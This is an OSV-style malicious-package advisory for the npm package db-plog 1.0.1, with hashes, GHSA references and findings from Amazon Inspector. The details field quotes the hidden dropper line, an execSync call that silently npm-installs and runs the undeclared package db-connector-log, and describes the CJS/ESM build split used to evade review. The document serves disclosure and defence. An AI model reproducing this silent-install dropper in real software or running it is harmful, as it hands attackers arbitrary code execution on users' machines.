{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "dist/index.js",
              "sha256": "c3946ddee67410aba816f9a2bfa5c5bddf526d3d4dd50619ba39ea9521cf243d",
              "tlsh": "2452338937fb2930456b30691e0f8107b63a944ba91ded4c7a9c42d4af4847e52f3bf9"
            }
          ],
          "package_integrity": [
            {
              "filename": "db-plog-1.0.1.tgz",
              "hashes": {
                "sha1": "1e7000da12ac4510ab342ab46ce5b2383617e8c6",
                "sha512_sri": "sha512-UkBUwJSZdMqUAgUeMxgnNCBXsZo1mmZjUey77EqUn7YkyHxCo0MyqRLKubjFfDWFhDsqTLBLFwIryUhVgOKHEA=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "db-plog"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "1.0.1"
      ]
    }
  ],
  "aliases": [
    "GHSA-j49r-84jx-vq3m"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007665",
        "import_time": "2026-06-26T21:34:02.397255878Z",
        "modified_time": "2026-06-26T21:08:49Z",
        "sha256": "961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99",
        "source": "amazon-inspector",
        "versions": [
          "1.0.1"
        ]
      },
      {
        "id": "GHSA-j49r-84jx-vq3m",
        "import_time": "2026-07-02T13:54:24.691235129Z",
        "modified_time": "2026-07-02T13:17:43Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99)\nOn every Model instantiation \u2014 the package\u0027s documented primary API \u2014 dist/index.js executes `execSync(\u0027npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent\u0027, { windowsHide: true })`, then `require(\u0027db-connector-log\u0027)` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The \u0027db-connector-log\u0027 package is not declared in package.json\u0027s dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published \u0027db-connector-log\u0027 package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as `main`) contains this dropper while the ESM bundle (dist/index.mjs, declared as `module`) omits it entirely \u2014 Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package\u0027s advertised use, so any normal use of the library triggers the dropper.\n\n## Source: ghsa-malware (8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-6538",
  "modified": "2026-07-02T13:56:11Z",
  "published": "2026-06-26T21:08:49Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/db-plog/v/1.0.1"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-j49r-84jx-vq3m"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in db-plog (npm)"
}